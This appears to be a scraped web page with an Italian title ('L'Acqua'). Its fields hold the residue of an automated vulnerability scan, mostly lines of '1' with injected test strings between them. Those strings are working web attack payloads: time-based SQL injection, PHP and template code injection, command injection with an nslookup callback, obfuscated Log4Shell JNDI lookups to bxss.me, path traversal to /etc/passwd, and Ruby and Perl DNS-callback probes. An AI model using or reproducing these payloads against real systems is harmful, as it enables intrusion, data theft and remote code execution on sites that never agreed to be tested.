1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

L'Acqua

E' la Nostra Missione...

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

1

1

1

1

1

1

1

1

1

";print(md5(31337));$a="

1

1

1

1

1

1

1

1

1

';print(md5(31337));$a='

1

1

-1" OR 2+772-772-1=0+0+0+1 --

1

1

1

";print(md5(31337));$a="

1

1

1

1

//xfs.bxss.me

1

http://xfs.bxss.me

1

1

';print(md5(31337));$a='

1

1

1

1

908263

1

1

1

1

${@print(md5(31337))}

1

1

/\xfs.bxss.me

1

1

1

1

1

1

1

1

1

1

'.print(md5(31337)).'

1

1

1

1

1

${@print(md5(31337))}\

1

1

1

1

1

1

1

1

1

1

1

19656098

1

acu3809%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3809

1

acux3365%C0%BEz1%C0%BCz2a%90bcxuca3365

1

1

1

<%={{={@{#{${acx}}%>

1

1

1

1

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

1

1

1

1

1'"()&%

1

1

1

1

$(nslookup hitefnjpyjxrpdf7dd.bxss.me||perl -e "gethostbyname('hitefnjpyjxrpdf7dd.bxss.me')")

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

acx{{98991*97996}}xca

1

1

1

1

${@print(md5(31337))}\

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

1

1

acx{{98991*97996}}xca

1

${@print(md5(31337))}

1

acx[[${98991*97996}]]xca

1

acx__${98991*97996}__::.x

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1

1

1

1

1

1

1

acx[[${98991*97996}]]xca

1

1

1

acx__${98991*97996}__::.x

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1'"()&%

1

19591662

1

acu10946%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10946

1

acux5201%C0%BEz1%C0%BCz2a%90bcxuca5201

1

'.print(md5(31337)).'

1

<%={{={@{#{${acx}}%>

1

1

1

-1' OR 3*2<(0+5+914-914) --

1

csuyxChM')); waitfor delay '0:0:15' --

1

-5 OR 947=(SELECT 947 FROM PG_SLEEP(15))--

1

-5) OR 559=(SELECT 559 FROM PG_SLEEP(15))--

1

-1)) OR 128=(SELECT 128 FROM PG_SLEEP(15))--

1

qNTddLmj' OR 16=(SELECT 16 FROM PG_SLEEP(15))--

1

qU0Pa04f') OR 169=(SELECT 169 FROM PG_SLEEP(15))--

1

nc1k7aVf')) OR 663=(SELECT 663 FROM PG_SLEEP(15))--

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1ˤˢ%2527%2522

1

@@WtyJK

1

1

1

1

1

1

1

1

1

b2U1TnKe'); waitfor delay '0:0:15' --

1

sqGsASmm'; waitfor delay '0:0:15' --

1

1 waitfor delay '0:0:15' --

1

-1' OR 3*2>(0+5+914-914) --

1

-1' OR 2+526-526-1=0+0+0+1 or 'ZRrdaJXP'='

1

-1' OR 3+526-526-1=0+0+0+1 or 'ZRrdaJXP'='

1

-1' OR 3*2<(0+5+526-526) or 'ZRrdaJXP'='

1

-1' OR 3*2>(0+5+526-526) or 'ZRrdaJXP'='

1

-1" OR 2+370-370-1=0+0+0+1 --

1

-1" OR 3+370-370-1=0+0+0+1 --

1

-1" OR 3*2<(0+5+370-370) --

1

-1" OR 3*2>(0+5+370-370) --

1

if(now()=sysdate(),sleep(15),0)

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1; waitfor delay '0:0:15' --

1

-1); waitfor delay '0:0:15' --

1

-1)); waitfor delay '0:0:15' --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+253-253-1=0+0+0+1 --

1

-1 OR 3+253-253-1=0+0+0+1 --

1

-1 OR 3*2<(0+5+253-253) --

1

-1 OR 3*2>(0+5+253-253) --

1

-1 OR 2+683-683-1=0+0+0+1

1

-1 OR 3+683-683-1=0+0+0+1

1

-1 OR 3*2<(0+5+683-683)

1

-1 OR 3*2>(0+5+683-683)

1

-1' OR 2+557-557-1=0+0+0+1 --

1

-1' OR 3+557-557-1=0+0+0+1 --

1

-1' OR 3*2<(0+5+557-557) --

1

-1' OR 3*2>(0+5+557-557) --

1

-1' OR 2+241-241-1=0+0+0+1 or 'c9JktO3Q'='

1

-1' OR 3+241-241-1=0+0+0+1 or 'c9JktO3Q'='

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1' OR 3*2<(0+5+241-241) or 'c9JktO3Q'='

1

-1' OR 3*2>(0+5+241-241) or 'c9JktO3Q'='

1

-1" OR 3+772-772-1=0+0+0+1 --

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1ˤˢ%2527%2522

1

@@JuHSg

1

1

1

1

1

1

-1 OR 2+386-386-1=0+0+0+1 --

1

-1 OR 3+386-386-1=0+0+0+1 --

1

-1 OR 3*2<(0+5+386-386) --

1

-1 OR 3*2>(0+5+386-386) --

1

-1 OR 2+932-932-1=0+0+0+1

1

-1 OR 3+932-932-1=0+0+0+1

1

-1 OR 3*2<(0+5+932-932)

1

-1 OR 3*2>(0+5+932-932)

1

-1' OR 2+914-914-1=0+0+0+1 --

0kDviXsz')) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

1

POQfilMj') OR 757=(SELECT 757 FROM PG_SLEEP(15))--

1

PbFtE1iY' OR 708=(SELECT 708 FROM PG_SLEEP(15))--

1

-1" OR 3*2<(0+5+772-772) --

1

-1" OR 3*2>(0+5+772-772) --

1

if(now()=sysdate(),sleep(15),0)

1

0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1; waitfor delay '0:0:15' --

1

-1); waitfor delay '0:0:15' --

1

-1)); waitfor delay '0:0:15' --

1

1 waitfor delay '0:0:15' --

1

T31YHb6Z'; waitfor delay '0:0:15' --

1

uWu204oj'); waitfor delay '0:0:15' --

1

cnEsWqPN')); waitfor delay '0:0:15' --

1

-5 OR 306=(SELECT 306 FROM PG_SLEEP(15))--

1

-5) OR 960=(SELECT 960 FROM PG_SLEEP(15))--

1

-1)) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

1

1

-1' OR 3+914-914-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

${9999140+10000080}

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

1

1

1

Array

1

1

${9999521+9999671}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

1

1

1

1

1

1

1

1

1

1

../1

1

1

1

1

1

1

1

1

1

./1

1

1

1

1

1

1&n905373=v940185

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

1

1

1

Array

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1&n923157=v997793

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

response.write(9467254*9550573)

1

1

1

'+response.write(9467254*9550573)+'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1lZR54ItO

1

1

1

1

1

1

1Kq8oroiO

1

1

"+response.write(9467254*9550573)+"

1

${j${::-n}di:dns${::-:}//hitdnpwlczwmn96026${::-.}bxss.me}zzzz

1

1

1

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

1

1

1

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.074625.228-6649.228.a0046${::-.}1${::-.}bxss.me}}

1

1

1

1

1

1

1

1

AnKrETmf

1

1

1

1

1

1

wtsD9eKD

1

1

1

¿ðŸ’¡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitdajiwfhmea98437${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

¿ðŸ’¡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitmleplcwewq35af2${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

response.write(9304771*9365139)

1

1

1

'+response.write(9304771*9365139)+'

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.074625.228-6648.228.a0046${::-.}1${::-.}bxss.me}}

1

1

1

1

"+response.write(9304771*9365139)+"

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitbyxuxhfhcede766${::-.}bxss.me}zzzz

1

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(115).concat(67)+(require"socket" Socket.gethostbyname("hitva"+"yhrwascz3197a.bxss.me.")[3].to_s)+"

1

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(101).concat(76).concat(101).concat(80)+(require'socket' Socket.gethostbyname('hitui'+'shpfsoaf25292.bxss.me.')[3].to_s)+'

1

1

"+"A".concat(70-3).concat(22*4).concat(98).concat(81).concat(122).concat(78)+(require"socket" Socket.gethostbyname("hitjq"+"pjevince3f68e.bxss.me.")[3].to_s)+"

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

bxss.me/t/xss.html?%00

1

1

1

1

".gethostbyname(lc("hitwt"."abftjiacf5c27.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(81).chr(106).chr(70)."

1

1

1

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitji'.'wolfpzuz8feb7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(78).chr(98).chr(75).'

1

1

1

1

1

1

1

1

1

".gethostbyname(lc("hitxy"."wponrmjafadf5.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(81).chr(99).chr(73)."

1

1

1

1

'.gethostbyname(lc('hital'.'typkebvqf2951.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(71).chr(114).chr(89).'

1

1

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

'+'A'.concat(70-3).concat(22*4).concat(109).concat(72).concat(119).concat(74)+(require'socket' Socket.gethostbyname('hittu'+'octqrtnadbb8f.bxss.me.')[3].to_s)+'

1

1

'"

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

1

/xfs.bxss.me

1